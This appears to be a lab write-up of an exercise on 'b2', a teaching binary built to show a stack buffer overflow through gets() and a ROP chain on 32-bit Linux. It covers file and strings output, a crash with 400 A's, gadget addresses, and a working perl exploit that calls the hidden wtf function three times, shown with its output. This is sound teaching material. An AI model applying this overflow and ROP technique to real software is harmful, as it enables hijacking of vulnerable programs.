Buffer Overflows - Stack Smashing, ASLR, ROP
Kris wrote a clever program with some interesting constants inside to be able to illustrate all of these concepts in a single binary. There are several things you can do here.
Basic stack overflow. Get the program to call a function that is compiled in, but not used in the standard flow of control. Then call it with appropriate arguments.
More advanced stack overflow, with ROP. Call the hidden function several times, with appropriate arguments each time.
Get shell on a system with ASLR, using the hidden constant.
???? Do something more awesome!!!!
Identify it
file b2 b2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
okay, 32-bit linux elf.
strings b2 /lib/ld-linux.so.2 gmon_start libc.so.6 IO_stdin_used gets puts printf __libc_start_main GLIBC_2.0 PTRh@ UWVS [^] WTF %d %d %d Hello, %s! What is your name? ;*2$”
looks like some format strings in there.
Run it:
./b2 What is your name? hacker Hello, hacker!
Break it:
perl -e ‘print “A”x400 ;’ | ./b2 What is your name? Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Segmentation fault
Let’s take an assembly listing of the interesting parts for future reference
objdump -d -M intel b2
08048434
08048465
080484a2
We can see that this wtf function never gets called, as it has a print statement, but we never saw anything like that in our output.
sayhello has what looks like a ~200 byte buffer from
8048468: 81 ec e8 00 00 00 sub esp,0xe8
and more importantly that it is using gets to read, which means we can put anything but nul chars into it, and it will read them into the buffer. This is our vulnerable code fragment!
Alright, now let’s look at it in gdb.
Calling hidden WTF function with correct arguments multiple times.
** WTF with correct arguments to call wtf more than once, with arguments, we need a ‘cleanup’ program what this needs to do is move the stack pointer down two four-byte groups so that we jump over the parameters to wtf. the return at the end of wtf, and the ‘cleanup’ series, get’s rid of the other two addresses. Thus we can repeat that four four-byte sequence as many times as we want (realistically until it segfaults from the initial overflow.)
*** finding rops poor man’s rop finder, using objdump and searching for pop,pop,ret sequence.
first
two pops and a return 8048402: 5b pop ebx 8048403: 5d pop ebp 8048404: c3 ret
four pops and a return 804852c: 5b pop ebx 804852d: 5e pop esi 804852e: 5f pop edi 804852f: 5d pop ebp
two pops and a return 8048577: 5b pop ebx 8048578: 5d pop ebp 8048579: c3 ret
** final exploit code. REMEMBER: Addresses are little endian on x86
perl -e ‘print “A”x212 . ”\x34\x84\x04\x08” . “\x02\x84\x04\x08” . “\x00\x00\x00\x00” . “\xFF\xFF\xFF\xFF” \ . “\x34\x84\x04\x08” . “\x77\x85\x04\x08” . “\x00\x00\x00\x00” . “\xFF\xFF\xFF\xFF” \ . “\x34\x84\x04\x08” . “\x2e\x85\x04\x08” . “\x00\x00\x00\x00” . “\xFF\xFF\xFF\xFF” ;’ | ./b2 | | ^ 0 ^ -1 | ^ three different addresses with correct assembly instructions ^ start address of wtf
What is your name?
Hello, 4! WTF 0 -1 15007500 WTF 0 -1 15007500 WTF 0 -1 15007500 Segmentation fault
Graceful termination is not the point here.